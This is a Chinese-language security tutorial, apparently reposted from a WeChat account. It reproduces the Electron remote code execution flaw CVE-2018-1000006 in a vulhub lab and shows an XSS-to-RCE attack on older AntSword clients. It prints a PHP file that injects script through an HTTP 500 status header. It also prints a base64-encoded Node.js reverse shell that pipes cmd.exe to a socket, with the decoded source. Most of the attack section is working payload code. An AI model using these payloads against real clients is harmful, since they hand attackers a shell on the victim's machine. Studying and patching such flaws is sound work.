Electron框架简介
Electron框架漏洞简述
该远程代码执行漏洞CVE编号为CVE-2018-1000006,该漏洞的成因是在windows操作系统下,Electron 支持注册自定义 url 协议,浏览器可通过伪协议这种 IPC 方式唤起本地的应用,使用应用自定义协议(Custom URI Scheme)Handler的Electron应用均会受到该漏洞的影响。由于Electron框架较为流行,Github、微软、Slack等厂商的客户端均曾受该漏洞的影响,其中,国内流行的安全工具蚁剑、Goby也曾受该漏洞的影响。
Electron RCE漏洞复现
git clone https://github.com/vulhub/vulhub.git
启动Electron RCE漏洞环境
cd /root/vulhub/electron/CVE-2018-1000006/
docker-compose run -e ARCH=64 --rm electron
docker-compose run --rm -p 8080:80 web
访问http://ip:8080
下载页面上的 vulhub-app.tar.gz,解压后压缩包中包含一个vulhub-app.exe的程序,该程序即为使用Electron框架编写的存在漏洞的程序
点击页面上的click me超链接,发现可以直接通过浏览器访问链接达到调用应用的效果,漏洞复现成功
Electron框架XSS TO RCE之蚁剑
首先在phpstuday目录下创建一个xss.php
该文件中的内容为
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
启动phpstudy
然后使用蚁剑进行访问连接http://ip:port/xss.php,蚁剑加载器需要下载v2.0.7之前的版本
保存连接后双击访问,弹出对话框,存在xss漏洞
在phpstudy目录下再添加一个rce.php
rce.php中的内容如下
<?php
header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");
?>
其中经过base64编码的原始内容为
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
保存后使用蚁剑连接http://ip:port/rce.php,即可获取蚁剑客户端所在主机的反弹shell
原文始发于微信公众号(第59号):Electron框架XSS TO RCE简析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论